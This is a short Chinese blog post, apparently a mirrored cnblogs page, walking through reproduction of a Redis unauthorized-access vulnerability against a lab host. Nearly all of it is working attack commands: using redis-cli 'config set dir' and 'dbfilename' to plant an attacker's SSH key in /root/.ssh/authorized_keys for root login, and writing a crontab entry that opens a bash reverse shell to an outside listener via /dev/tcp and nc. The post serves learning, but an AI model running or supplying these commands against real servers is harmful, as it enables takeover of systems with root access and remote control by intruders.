zoukankan      html  css  js  c++  java
  • redis未授权访问漏洞复现

    redis漏洞复现

    本机需安装redis服务
    redis-cli -h 192.168.7.134

    image-20201212013931961

    如果开放ssh端口

    靶机中执行 mkdir /root/.ssh命令,创建ssh公钥存放目录
    在攻击机中生成ssh公钥和私钥,密码设置为空 ssh-keygen -t rsa
    进入ssh目录 cd ./.ssh

    进入 .ssh目录 ,将生成的目录保存到1.txt ,方便之后进行上传
    (echo -e " ";cat id_rsa.pub; echo -e " ")>1.txt

    将1.txt写靶机(使用redis-cli -h ip 命令连接靶机,写入文件)
    cat 1.txt|redis-cli -h 192.168.7.134 -x set crack

    本机需安装redis apt-get install redis
    redis-cli -h 192.168.7.134

    使用config get dir 命令的得到redis备份的路径

    更改Redis备份路径为ssh公钥存放目录(一般默认是/root/.ssh)
    config set dir /root/.ssh

    设置上传公钥的备份文件名字为authorized_keysconfig
    config set dbfilename authorized_keys

    保存 save

    检查是否更改成功 config get dbfilename

    私钥登录ssh -i id_rsa root@192.168.7.134

    image-20201212014229814

    利用crontab反弹shell

    kail        nc -lvnp 1234

    服务器
    set 1 " * * * * * root bash -i >& /dev/tcp/172.16.15.10/1234 0>&1 "

    config set dir /etc/
    config set dbfilename crontab
    save

     

  • 相关阅读:
    归并、希尔排序
    堆排序
    [模板] 最小树形图/朱刘算法
    [模板] 常系数线性递推
    [模板] Kruskal算法 && 克鲁斯卡尔重构树
    [模板] 斯特林数,性质以及求法
    这几天想干什么
    奇怪的 Markdown / LaTeX 笔记
    [模板] 各种莫队
    [模板] 2-SAT 问题
  • 原文地址:https://www.cnblogs.com/Xshun-z/p/14156064.html
Copyright © 2011-2022 走看看